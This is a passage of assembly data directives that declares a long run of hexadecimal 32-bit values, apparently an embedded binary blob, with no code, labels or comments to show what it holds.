dd 548E4C4Eh, 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h
dd 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h
dd 3EEC3FE4h, 40260F4h, 3A0C3B39h, 1C00143Ah, 2C3D243Ch
dd 3F77343Eh, 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh
dd 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h
dd 24DC05D4h, 4E87AAE4h, 487FC20h, 195B03Ch, 671C4714h
dd 602C8424h, 253CC93h, 7CFEC77Fh, 40E884E7h, 7ED492A3h
dd 0CE74BC72h, 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h
dd 0BB481078h, 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh
dd 743F703Fh, 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h
dd 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh
dd 0A72CE427h, 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h
dd 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h
dd 3ED4FCD0h, 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h
dd 0D930D12Ch, 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h
dd 0AF902AADh, 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch
dd 0F83093F0h, 8C99F0F7h, 130F6010h, 612501D4h, 51347882h
dd 0F96890F3h, 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h
dd 0C05DB003h, 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh
dd 83A0431h, 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h
dd 6EA7586Ch, 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h
dd 0B81974B0h, 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h
dd 0CA30008h, 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h
dd 60E5015Ch, 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh
dd 4850B43Ah, 0D22C4862h, 0E0F82400h, 48045D33h, 3C00D7ACh
dd 0B2142E10h, 960E1C9Fh, 214F1720h, 60CF5C22h, 68D164C9h
dd 70E16CD9h, 78F00471h, 0AB7C07CBh, 12BC8732h, 2249C0E7h
dd 7C2426C8h, 0DC00D87Eh, 3974ECE6h, 4D3A1434h, 200B1018h
dd 5A8E243Dh, 0FDFF2C20h, 4873029Fh, 0DE70B5A1h, 0ED78ED61h
dd 0DF80F47Ch, 887E847Eh, 904AE0B8h, 0CFC0130Fh, 0CFCC8FC8h
dd 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh, 782E5CE8h, 592400CCh
dd 0B35C9228h, 38F47F13h, 20B88F01h, 0DA2474BAh, 78CC927Ch
dd 7C8C7A88h, 98C3A090h, 0A01E0E0Fh, 0B840A4CFh, 5C61D8C9h
dd 488DE458h, 0C0FDB058h, 0E4140036h, 0ED3CE834h, 44095670h
dd 4F848F4h, 49D25094h, 419A4A58h, 0E2F1C688h, 0CDF8F9F9h
dd 718001B2h, 56775938h, 0FC6D7158h, 4104623Bh, 6ED16A40h
dd 976BEA0h, 7EF17AE9h, 2C869D61h, 818E259Fh, 582896A1h
dd 0CE605065h, 3093CA6h, 1A630A02h, 0A2607083h, 0DB0092A8h
dd 4A904926h, 0AD9AFD1h, 320AE0E4h, 0A748009Fh, 81331C50h
dd 0F9B9D07h, 36A034B5h, 4F274Ah, 1ED35B45h, 50B0D2ABh
dd 0EF007EE0h, 3A0E215Dh, 388B3B65h, 9F00A72Eh, 4B0216D8h
dd 273347F2h, 0F08282E6h, 0DCC7BCh, 713905E1h, 0B5D19CC9h
dd 64C2D901h, 3F8EAAEh, 0E41E3AF4h, 2B0E0058h, 704E6B3Bh
dd 0CF00788Eh, 21B30BA2h, 613C7150h, 0D8A5437Fh, 5DDE302Eh
dd 76B07403h, 0C3CE98EAh, 0C269C347h, 7ACD6077h, 9D7C2696h
dd 0C84D0B16h, 0C0EB6084h, 72F2512h, 47780203h, 989B6787h
dd 12AEFEh, 940CF188h, 30050708h, 0D824A509h, 805489E0h
dd 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh, 0FB4FEC00h
dd 26330A83h, 0A25F0093h, 86C6496Dh, 0F10B8EE9h, 2C8A2C9Dh
dd 0ECB78E86h, 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h, 9FE51EE0h
dd 0F017EBh, 3403876Fh, 2A0F2421h, 0C45385h, 0F85056A0h
dd 1C960055h, 0CE4F6712h, 8272CF79h, 0B100A874h, 1A62BAC9h
dd 2C640h, 9224B35h, 0A4216618h, 11360800h, 6A24CCC9h
dd 3739000Bh, 3B343A19h, 58733C3Dh, 7E3E6B04h, 3880873Fh
dd 707B525h, 0EBE7DD0Ah, 223850E1h, 610F2BC9h, 5D4DD95Dh
dd 0F17FE940h, 3DB0F9A1h, 0FC288C24h, 0B12E2F6h, 2A3B223Ah
dd 473D2580h, 1C1F6424h, 52563284h, 0EC6D8E00h, 7BF073h
dd 0C0F880F4h, 0C85D9EBAh, 0D02EA000h, 4BD897A2h, 0A5E000A4h
dd 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h, 10B00008h
dd 0BA18B274h, 20005DB4h, 0B8282EB6h, 0F64B3097h, 0BCA50038h
dd 48BED240h, 500FC0E9h, 0C058C274h, 0C6605DC4h, 0C868002Eh
dd 0CA4B7097h, 0CC01A578h, 88CED280h, 5761D0E9h, 0BA98DCh
dd 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h, 2EE0003Fh
dd 0F867DCE8h, 3C010BEEh, 0D910DE91h, 2CFC7318h, 2EE10028h
dd 0E54067E2h, 0E44CCC48h, 0B960092Dh, 97A980E6h, 0EE83378h
dd 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h, 0C4F4C0F0h
dd 827EFFF9h, 0AA3CD805h, 9D82E43Fh, 0EB75602Eh, 99FA00ABh
dd 24E920F8h, 210B2CF1h, 8B38F9F2h, 500990ACh, 1FC4009Eh
dd 8960925Ch, 4012806h, 1102214Ah, 4FF0FF3Eh, 780A0070h
dd 4E5B7A57h, 0FA16095Fh, 5001A1BBh, 97C9893Fh, 0C60434h
dd 0C32DAE1h, 88609020h, 300B0F00h, 48493327h, 0EA3B00D6h
dd 0E8ADF2Ch, 13F68D35h, 67A8A707h, 86317247h, 9BE49187h
dd 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h, 424C0B8h
dd 0E4937h, 3C233BBEh, 4102672Dh, 0E74BC70Eh, 8E5F4E55h
dd 73CF69h, 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h, 0F7C0D1B3h
dd 382C1BF0h, 96050A27h, 8C8003C0h, 0E53A0Fh, 28798A1h
dd 27CB3BBFh, 0EA47D800h, 193C9D61h, 3E560060h, 0E974B272h
dd 8A003750h, 3F62E1A0h, 15D0770h, 75312E30h, 0FCD31524h
dd 5213A24Bh, 760088E9h, 342B50E0h, 356D001Ch, 0DDBF5C36h
dd 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h, 0C09C482Ch
dd 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh
dd 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h
dd 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h, 0A41B78E0h
dd 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h, 2F491F31h
dd 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h
dd 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h, 983B8000h
dd 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h
dd 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h
dd 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh, 9901A392h
dd 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h
dd 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch, 64610040h
dd 0FFD9FA01h, 0D8C082E3h
dd 2496E0h, 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h
dd 0FE27FAh, 0F437B02Dh, 0B25AF849h, 734A6601h, 0E2922E09h
dd 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch
dd 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h, 3F6098ACh
dd 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh, 0AEB00472h
dd 4A0C76h, 18320F10h, 20CF1C8Fh, 284C9DE5h, 34C82C81h
dd 60C85C9Fh, 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h
dd 72F988F6h, 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h
dd 0B892D400h, 0E04DDC7Eh, 67983Ah, 1007EC2Dh, 0E4F8E7F4h
dd 42D3FC00h, 0A22C9324h, 2E91C30h, 0F13CC038h, 6844F940h
dd 66011C4Eh, 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch
dd 9FA89FA4h, 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h
dd 0DCEBF0C9h, 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h
dd 803E873Ch, 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h
dd 0F3EE1EBAh, 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h
dd 741A0172h, 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h
dd 5407849h, 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h
dd 98D662D3h, 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch
dd 7E5C59h, 3D0283DDh, 0AB9322h, 0A73E19A0h, 27E8CAE4h
dd 33033FE2h, 67521687h, 0A593A873h, 700827B5h, 0E000E674h
dd 0C77230F8h, 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h
dd 7F49038h, 4E560032h, 331883D7h, 88739250h, 0B300667Ah
dd 8FD2300Fh, 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h
dd 9F005CAAh, 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h
dd 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h
dd 6015760Dh, 5217A74h, 2F7E297Ch, 0C0D11CCFh, 274BC945h
dd 0E7395DF6h, 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h
dd 13F8BCC2h, 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h
dd 0D64B2483h, 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh
dd 49B592A7h, 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h
dd 12E38h, 1E13E2A6h, 14FDC17h, 28823302h, 0F8508F38h
dd 39000A16h, 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h
dd 7F0B96EEh, 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h
dd 29029EB0h, 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h
dd 398595DBh, 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h
dd 88F981AFh, 1670092Ah, 4F221D50h, 0A08EC798h, 33E190E0h
dd 3400C213h, 59EC4AC6h, 0E6195D6h, 72692CD8h, 50CEAEC0h
dd 2CB0AD84h, 52382700h, 0E05A3E05h, 92620026h, 5B6A7EBAh
dd 0EA090B72h, 0EC617Ah, 5FE98643h, 7BE0024h, 0FE4AC90h
dd 17FE13E8h, 0BA3E04B8h, 0D33E6782h, 0E01CD722h, 9D2730h
dd 92AA1DA6h, 89BE5EA7h, 2F2B3E02h, 60A414C0h, 1BD3A3Dh
dd 9425FF4h, 0EC51019Ch, 0A0006012h, 6CE868E6h, 0FC3108CEh
dd 32350087h, 33092139h, 0B100C90Dh, 5F343CD0h, 0F40B40h
dd 0C832E1C0h, 765E41EAh, 257AC90Bh, 0D3430462h, 0F8838580h
dd 0F6743FACh, 0B914FA80h, 1790BD38h, 80623900h, 793A7578h
dd 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh, 0A300B734h, 3D43B0BBh
dd 207E49Fh, 3A1A3E48h, 2740240Fh, 1F71FAACh, 127E23ECh
dd 0C326161Dh, 0F3A2EF00h, 3A508084h, 5780BC08h, 8AB8AE30h
dd 3101430Bh, 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h, 0BF3C34A6h
dd 0DE7459D8h, 997F500h, 7BBCC95Ah, 3C9100D9h, 3FAF3E6Ch
dd 0F3002DE7h, 0A012A205h, 0EC249Ah, 0F42CF028h, 0F2AAA338h
dd 2A680E0Bh, 96058347h, 713F898h, 12140037h, 3FB24BDCh
dd 5E006C24h, 0FC7778E0h, 88BE84h, 0CF39C307h, 0E147D627h
dd 0B8EB6400h, 3A080E40h, 4E7D1Ah, 3C703389h, 787C527Ah
dd 248E7E39h, 49000CBDh, 0E03A2CC7h, 0F5F2583Bh, 0A007D148h
dd 703D0E20h, 0D74BCB3Eh, 0F6542702h, 63A5FC87h, 0BC28F892h
dd 44F20E10h, 0D8C0A135h, 9D301411h, 1D720201h, 0C0DC9697h
dd 732A260h, 924FE443h, 7A6E80D8h, 94004974h, 60CFD6D0h
dd 5C9E7Ch, 5880DA12h, 9A1B340Fh, 3A51F60Eh, 60F8E0B2h
dd 72FC5C90h, 98B5A7Fh, 908FAAF3h, 0CEBAE680h, 4A125276h
dd 1903825Fh, 0F3B0C324h, 9854F0D6h, 37E0018Eh, 5C84204Ch
dd 0FC38204Eh, 0D0B0EA04h, 81EA6894h, 213B121Fh, 34DF204Fh
dd 0CEF0B603h, 1F9E9Ch, 1B3C10FCh, 43FA0729h, 0F04F6500h
dd 7BF86E6Ch, 9C3200B8h, 1F06267Ch, 0BF0293B3h, 0F3DE7283h
dd 0FAD668E6h, 5D6A7A70h, 0BB00D011h, 0DF4AD378h, 0FE24960Fh
dd 0CC00FCC4h, 8C8170B0h, 9F0100CEh, 0B8C9AB30h, 1A03093Ah
dd 5E08D00Fh, 5D78A835h, 2469000Bh, 0FCBC7AD2h, 0A1E4993Fh
dd 87A92501h, 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h, 3F2F7A0h
dd 740068F0h, 783E9822h, 574946h, 259B3FA8h, 41E462A5h
dd 0F8FEAC00h, 9354338Fh, 0ECEA01F6h, 3904F0F5h, 6DCF4034h
dd 8100752Dh, 433509E8h, 1F284FC9h, 406E3CAAh, 0A8D0877Fh
dd 0E401B6E7h, 84BA85BFh, 26CCA0DEh, 167C0094h, 28AED94Ch
dd 9302F27Eh, 0F9B0A6C9h, 761350B6h, 2DED78E1h, 0CCDEF8F7h
dd 9E0E0D04h, 324EEE0h, 0EA924210h, 0C08C5056h, 23745A94h
dd 0F2906603h, 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh, 0FA25A8E8h
dd 0C90C6E61h, 20D1140Fh, 2FE140D9h, 7F13BE9h, 6C0B2B44h
dd 7BC0BE58h, 0FCB778A0h, 79DC300h, 0F4E7EB88h, 0AC0400E4h
dd 0CF738E3Eh, 8B000F80h, 78D09349h, 22A95Bh, 9CD8D39Ah
dd 7F72DA98h, 768F7400h, 0BCB5AA2h, 8C084C78h, 42D11E00h
dd 1D880E2Eh, 9F294E00h, 3D4D3CFBh, 5D3E0157h, 0E4876827h
dd 938FC882h, 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh, 0BAE09E1Bh
dd 0A5005787h, 7B5AE067h, 1C1F4CBCh, 80E79FA4h, 0A0FD92F3h
dd 0B2E4219Eh, 96581D03h, 0D0C4C264h, 58B88EC9h, 6C005BF9h
dd 0E3F2E04h, 8C059230h, 0F4AF56A0h, 48058F80h, 0C8B23AF6h
dd 0B4398900h, 24C433CEh, 742EA201h, 0A044128Eh, 5FB26660h
dd 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h, 28050790h, 4BF045ECh
dd 0A2923C80h, 0F6F034Fh, 88CF815Ch, 0ADCBA390h, 27F06112h
dd 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh, 598D1609h
dd 0A2B11214h, 3FDA3F94h, 58FC00F2h, 3A1939ECh, 443B2C2Fh
dd 623D0049h, 2437A27h, 8A34813Fh, 96351EC9h, 973E803Ch
dd 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h, 0AF7462D8h
dd 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch, 8952640Eh
dd 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h, 428336E0h
dd 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h
dd 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h, 3B2D3A12h
dd 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h
dd 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch
dd 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h
dd 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh
dd 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh, 0C02CEA3Bh
dd 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h
dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh
dd 996E80CCh
dd 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h
dd 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h, 5FE870h
dd 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h
dd 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h, 4E86F379h
dd 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h, 20491600h
dd 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh, 0AC3825C0h
dd 6005070Bh, 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah
dd 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh
dd 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh
dd 0FA702C60h, 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h
dd 4B037946h, 7E5FCEEh, 853D7E58h, 2E0591B0h, 16A101ABh
dd 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh
dd 22824Ch, 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h
dd 3A94E124h, 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h
dd 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h
dd 83E04E15h, 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h
dd 859FEDD6h, 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh
dd 0AAA0D813h, 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh
dd 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh
dd 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h
dd 6CC7D461h, 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh
dd 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h
dd 34030E41h, 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h
dd 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh
dd 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h
dd 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h
dd 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh
dd 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h
dd 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh, 37CF258Eh
dd 4F3D380Fh, 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h
dd 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h
dd 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h
dd 0C4C2A09Ch, 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh
dd 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h
dd 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh
dd 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h, 0E4D900E7h
dd 1568F0EDh, 840E879Fh, 8251673Dh, 0C08CF872h, 8EC19Eh
dd 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h, 0C2AA4A00h
dd 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h, 7E0EACFAh
dd 0E0E959C0h, 253A110Eh, 3BFA005Fh, 3D613C4Dh, 0B27B3E87h
dd 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch, 9302F624h
dd 8600C218h, 0C0E48457h, 9085E808h, 4E5D2C33h, 0B3CF003Eh
dd 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh, 0FDB0C7Bh
dd 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh, 33B01F28h
dd 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h, 0EAF8E1EFh
dd 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh, 49F044E0h
dd 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h, 0AFEAB0A7h
dd 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h, 0F34BE1B1h
dd 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h, 305C8351h
dd 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh, 0DE08C102h
dd 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h, 0F8919500h
dd 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h, 4AA97400h
dd 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h, 9511F003h
dd 0F0998A04h, 0EC0F5E2h, 9C8F3263h, 9EA81D60h, 0E30016BAh
dd 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h, 95A7C00h
dd 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h, 602E7824h
dd 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h, 0DA2E2637h
dd 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h, 0E68F5E50h
dd 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h, 0D21FA400h
dd 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah, 0C9960767h
dd 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh, 3D030013h
dd 260F097h, 7D003E2Fh, 3F217081h, 4386C29h, 4C26453Bh
dd 500ABAEh, 0C811E088h, 39EA015Ch, 2D663A2Fh, 0A7868076h
dd 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h, 0D85D9C00h
dd 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch, 0DC1AFCF5h
dd 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh, 0E4168800h
dd 5014C609h, 44762CD8h, 607A013Ch, 0DC4B7B7Ch, 0DA014A0Eh
dd 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h, 4B00DD92h
dd 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h, 6A9A3700h
dd 8549807Ah, 0C72700DAh, 9CC11642h, 0CC4C68D6h, 0EC80B14h
dd 727D003Ch, 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h, 509BB0E7h
dd 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h, 8E9F03FEh
dd 32B009B6h, 6800C19Ch, 0D136C926h, 3A49D93Eh, 5E87B228h
dd 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h, 0DAC954h
dd 50859DD3h, 15CAE0DDh, 2931260Fh, 92626088h, 0AE8276h
dd 2C7C7E9Eh, 3249017Ah, 4D334200h, 0EC3C80C9h, 84D7002Fh
dd 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h, 0B89C0058h
dd 4C897898h, 1C0091A5h, 4E9D4636h, 169E5E1Dh, 0B0831E66h
dd 0A800ACA7h, 746C72BBh, 0E27693h, 69385C12h, 0B27C2683h
dd 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h, 17A34AC3h
dd 0C223B300h, 7E06702Fh, 525E0040h, 0C968660Fh, 36094188h
dd 0D96C6494h, 69201EBh, 0CC4A74B0h, 0E6724009h, 3A024200h
dd 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh, 0FA00D34Ch
dd 0DD315230h, 34293300h, 84A7672h, 0AB0C1C0Bh, 0D3E640h
dd 58C98D5Eh, 880E3C20h, 0A00965E4h, 0E3603E41h, 6CD0F78Ah
dd 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h, 0F88045C4h
dd 620D2F22h, 66E113EAh, 7B980006h, 0D812EE0Bh, 1A4BF002h
dd 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h, 3C019335h
dd 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h, 8600562Dh
dd 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h, 1C003E57h
dd 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh, 58DDFF4Ch
dd 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h, 2E08BC1Ah
dd 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h, 8F704983h
dd 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h
dd 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh, 4E32D847h
dd 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h, 4A1670F2h
dd 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h, 7CD07054h
dd 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h, 499E00D2h
dd 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h, 0D9B88F3Dh
dd 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h
dd 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h
dd 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h, 311C04B6h
dd 3C74B8BCh, 4F81613Dh
dd 0FC5BE434h, 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h
dd 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh, 2794DC09h, 8C07161Eh
dd 93FE8FC0h, 0FE36323Fh, 7E8A3C70h, 3772007Fh, 8640A06Bh
dd 0A5E21CB4h, 1DB89D00h, 15F09ECDh, 2FFA002Dh, 8BCA856Ch
dd 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh, 0E4C36296h
dd 1B0BE0FFh, 0BE273Fh, 0B64F46DCh, 7449176Ch, 7C5E04D8h
dd 0C8B3C05Bh, 401C5070h, 1C014F0h, 0EE300BA3h, 3A7C32h
dd 0F916640Ch, 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h
dd 29ED25E0h, 560028CCh, 2E7353Fh, 741C53Dh, 0FC4992A0h
dd 0FD51204Dh, 59008C20h, 611FFA94h, 76593h, 25923B98h
dd 9A08E002h, 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h
dd 76165C26h, 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h
dd 7678C0CBh, 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h
dd 0C200D4ECh, 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h
dd 6000FAB7h, 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h
dd 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h
dd 0BECBD85Bh, 0EB250C9h, 40C61F0h, 0C32A08E0h, 14E6104Ch
dd 0E318D300h, 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h
dd 46FA5CF9h, 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h
dd 13EA5700h, 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh
dd 2D01BC9Fh, 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h
dd 81709E3Dh, 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch
